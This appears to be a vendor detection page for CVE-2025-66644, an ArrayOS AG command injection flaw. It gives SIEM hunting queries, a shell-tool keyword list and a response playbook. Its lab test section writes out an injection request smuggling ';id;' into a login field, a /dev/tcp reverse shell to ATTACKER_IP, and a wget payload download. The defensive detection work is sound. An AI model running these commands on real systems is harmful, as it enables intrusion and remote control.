CVE-2025-66644

Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644)

Detects exploitation of CVE-2025-66644, an OS command injection vulnerability in Array Networks ArrayOS AG. This vulnerability allows remote attackers to execute arbitrary operating system commands through the Array Networks SSL VPN/ZTNA gateway. The flaw is tracked by CISA as a Known Exploited Vulnerability (KEV), indicating active in-the-wild exploitation. Attackers may leverage this to gain initial access, establish persistence, or pivot laterally within the network.

Vulnerability Intelligence

KEV — Known Exploited

CVSS

9.8
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2025-66644 Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644)?

Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644) (CVE-2025-66644) maps to the Initial Access and Execution and Lateral Movement tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644), covering the data sources and telemetry it touches: CommonSecurityLog, Syslog, DeviceNetworkEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement
Microsoft Sentinel / Defender
kusto
let ArrayNetworksIPs = dynamic([]);
let SuspiciousCommands = dynamic(['wget', 'curl', 'chmod', 'bash', 'sh', 'nc', 'ncat', 'python', 'perl', 'ruby', '/tmp/', '/dev/shm', 'base64', 'id;', 'whoami', 'uname', '&&', '||', '`', '$()']);
union isfuzzy=true
(
  CommonSecurityLog
  | where DeviceVendor has_any ('Array Networks', 'ArrayNetworks')
  | where Activity has_any ('command', 'exec', 'injection', 'shell', 'os')
     or Message has_any (SuspiciousCommands)
  | project TimeGenerated, DeviceVendor, DeviceProduct, SourceIP, DestinationIP, Activity, Message, AdditionalExtensions
  | extend AlertReason = 'Array Networks device activity with suspicious command patterns'
),
(
  Syslog
  | where Computer has_any ('arrayos', 'array-ag', 'arrayvpn')
     or ProcessName has_any ('ag', 'arrayd', 'arrayos')
  | where SyslogMessage has_any (SuspiciousCommands)
  | project TimeGenerated, Computer, ProcessName, SyslogMessage, HostIP
  | extend AlertReason = 'ArrayOS syslog with OS command injection indicators'
),
(
  DeviceNetworkEvents
  | where InitiatingProcessFileName has_any ('wget', 'curl', 'nc', 'bash', 'sh', 'python')
  | where InitiatingProcessParentFileName has_any ('ag', 'arrayd', 'httpd', 'nginx')
  | project TimeGenerated, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName
  | extend AlertReason = 'Suspicious child process spawned from Array Networks gateway process'
)
| order by TimeGenerated desc

Detects CVE-2025-66644 exploitation via CommonSecurityLog entries from Array Networks devices containing suspicious OS command patterns, Syslog events from ArrayOS hosts with injection indicators, and endpoint telemetry showing suspicious child processes spawned from gateway processes.

critical severity medium confidence

Data Sources

CommonSecurityLog Syslog DeviceNetworkEvents

Required Tables

CommonSecurityLog Syslog DeviceNetworkEvents

False Positives

  • Legitimate administrative scripts run on the Array Networks appliance by authorized personnel
  • Automated monitoring or health-check tools that spawn shell commands via the gateway management interface
  • Security scanning tools performing authorized vulnerability assessments against the appliance
  • Patch or update processes that invoke shell utilities during maintenance windows

Sigma rule & cross-platform mapping

The detection logic for Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644) (CVE-2025-66644) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Array Networks OS Command Injection via HTTP Request

    Expected signal: Web access log entry on the target appliance showing POST request to /cgi-bin/login with URL-encoded shell metacharacters (';id;') in the username parameter

  2. Test 2Spawn Reverse Shell from Simulated Compromised Array Gateway Process

    Expected signal: Endpoint process telemetry showing bash process with parent matching gateway daemon, network telemetry showing outbound TCP connection to ATTACKER_IP:4444 from the gateway host

  3. Test 3Download and Execute Payload via Injected wget Command

    Expected signal: Process telemetry showing wget execution with external URL argument spawned from a gateway-related parent process; DNS query for ATTACKER_IP hostname; outbound HTTP connection to ATTACKER_IP:8080


Response Playbook

Triage

  1. Identify all Array Networks ArrayOS AG appliances in the environment and cross-reference source IPs in alerts against the known inventory of gateway IPs.
  2. Review web/access logs on the Array Networks appliance (if accessible) for unusual HTTP requests containing shell metacharacters (`;`, `&&`, `||`, backticks, `$()`) in parameters, especially to management or VPN endpoints.
  3. Check for new or unexpected outbound network connections from the Array Networks appliance IP to external hosts, particularly on non-standard ports — this may indicate a reverse shell or C2 beacon established post-exploitation.
  4. Correlate the alert timestamp with any VPN authentication events to determine if a valid user session preceded the injection attempt, or if this was an unauthenticated exploit.

Containment

  1. Immediately isolate the affected Array Networks appliance from the network if active exploitation is confirmed: disable external-facing interfaces or place the device behind an emergency ACL blocking all inbound traffic except from trusted management IPs.
  2. Revoke all active VPN sessions on the appliance and force re-authentication after patching or replacement; rotate any credentials or certificates that may have been accessible to the injected process.

Evidence Collection

  1. Capture a full memory dump and disk image of the Array Networks appliance if forensic investigation is required; preserve /tmp, /dev/shm, crontab entries, and any new files created in world-writable directories.
  2. Export all available appliance logs (syslog, access logs, auth logs, crash logs) before rebooting or restoring — these are critical for determining the exploit payload, attacker dwell time, and any lateral movement that followed.

Escalation Criteria

  • ! Escalate immediately if outbound connections from the Array Networks appliance IP are detected to known threat actor infrastructure or newly registered domains, indicating active C2 communication post-exploitation.
  • ! Escalate if lateral movement is detected originating from internal hosts that authenticated through the compromised Array Networks gateway within the exploitation window, as credentials or session tokens may have been harvested.

Investigation Guide

Forensic Artifacts

  • > Web/access logs on the Array Networks appliance showing HTTP requests with shell metacharacters in URL parameters or POST body fields
  • > New files in world-writable directories: /tmp/, /dev/shm/, /var/tmp/ — especially executable binaries, shell scripts, or base64-decoded payloads
  • > Modified crontab entries or new systemd units/init scripts added for persistence by the attacker after gaining command execution
  • > Process tree showing unexpected children of the Array Networks gateway daemon (ag, arrayd, httpd) such as bash, sh, wget, curl, or reverse shell binaries
  • > Outbound network connections from the appliance to external IPs on unusual ports (common reverse shell ports: 4444, 1337, 9001, 8080)

Tuning Guidance

This detection relies on pattern matching for known OS command injection indicators. To reduce false positives: (1) Baseline normal administrative activity on your Array Networks appliances and exclude known management automation source IPs. (2) Implement allowlisting for known-good processes spawned from gateway daemons. (3) If Array Networks appliances emit structured logs to your SIEM, tune the query to use specific field-level matching rather than raw text search to improve precision. (4) Raise the injection_score threshold in the Splunk query if the environment has noisy network logging. To improve coverage: ensure syslog forwarding is configured on all Array Networks ArrayOS AG appliances and that logs include process execution events where available.


Hunting Queries

30-day retroactive hunt across all Array Networks log sources for OS command injection metacharacters and common exploitation utilities, aggregated hourly to identify exploitation campaigns or repeated probing.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ('Array Networks', 'ArrayNetworks')
| where Message matches regex @'[;`&|]|\$\(|wget|curl|/tmp/|/dev/shm|chmod|base64'
| summarize Count=count(), UniqueSourceIPs=dcount(SourceIP), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceVendor, DeviceProduct, bin(TimeGenerated, 1h)
| order by Count desc
Hunting — SPL
spl
index=network OR index=firewall earliest=-30d
(vendor="Array Networks" OR product="ArrayOS AG")
| rex field=_raw "(?<injection_pattern>[;&`|]|\$\(|wget|curl|\/tmp\/|\/dev\/shm|chmod|base64)"
| where isnotnull(injection_pattern)
| stats count AS hits, dc(src_ip) AS unique_sources, values(injection_pattern) AS patterns BY host, _time span=1h
| sort -hits

Atomic Red Team Tests

Test 1 Simulate Array Networks OS Command Injection via HTTP Request
linux

Simulates an attacker sending a crafted HTTP request to an Array Networks-like SSL VPN endpoint with OS command injection payload in a query parameter. Lab environment only — target should be a test/honeypot instance.

Command

bash
curl -k -s -X POST 'https://TARGET_AG_IP/cgi-bin/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin%27%3Bid%3B%27&password=test&group=' \
  -o /tmp/ag_cmd_inject_response.txt 2>&1
cat /tmp/ag_cmd_inject_response.txt

Cleanup

bash
rm -f /tmp/ag_cmd_inject_response.txt

Expected Telemetry

Web access log entry on the target appliance showing POST request to /cgi-bin/login with URL-encoded shell metacharacters (';id;') in the username parameter

Expected Detection

SIEM alert triggering on CommonSecurityLog or Syslog event from Array Networks device containing 'id;' pattern matching the command injection detection rule

Test 2 Spawn Reverse Shell from Simulated Compromised Array Gateway Process
linux

Simulates post-exploitation behavior where the attacker has achieved command injection and attempts to establish a reverse shell. Run on an isolated lab host mimicking the Array Networks appliance OS.

Command

bash
# On attacker machine: nc -lvnp 4444
# On victim (lab Array Networks simulation host):
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &
sleep 5
kill %1 2>/dev/null

Cleanup

bash
kill $(lsof -t -i:4444) 2>/dev/null; true

Expected Telemetry

Endpoint process telemetry showing bash process with parent matching gateway daemon, network telemetry showing outbound TCP connection to ATTACKER_IP:4444 from the gateway host

Expected Detection

CrowdStrike or Elastic EQL alert on ProcessRollup2 event where FileName=bash and CommandLine contains /dev/tcp, and correlated NetworkConnectIP4 event to external IP on port 4444

Test 3 Download and Execute Payload via Injected wget Command
linux

Simulates an attacker using the CVE-2025-66644 injection point to download a secondary payload using wget. This tests detection of ingress tool transfer following initial exploitation.

Command

bash
# Simulates what the injected command would do on a compromised ArrayOS host
mkdir -p /tmp/array_test
wget -q -O /tmp/array_test/payload.sh 'http://ATTACKER_IP:8080/payload.sh' \
  --timeout=10 --tries=1 2>/tmp/array_test/wget.log || echo 'connection failed (expected in lab)'
ls -la /tmp/array_test/
cat /tmp/array_test/wget.log

Cleanup

bash
rm -rf /tmp/array_test/

Expected Telemetry

Process telemetry showing wget execution with external URL argument spawned from a gateway-related parent process; DNS query for ATTACKER_IP hostname; outbound HTTP connection to ATTACKER_IP:8080

Expected Detection

KQL alert on DeviceNetworkEvents showing InitiatingProcessFileName=wget with InitiatingProcessParentFileName matching known gateway process names; Splunk SPL alert scoring wget usage from Array Networks log source with injection_score >= 3

Related Detections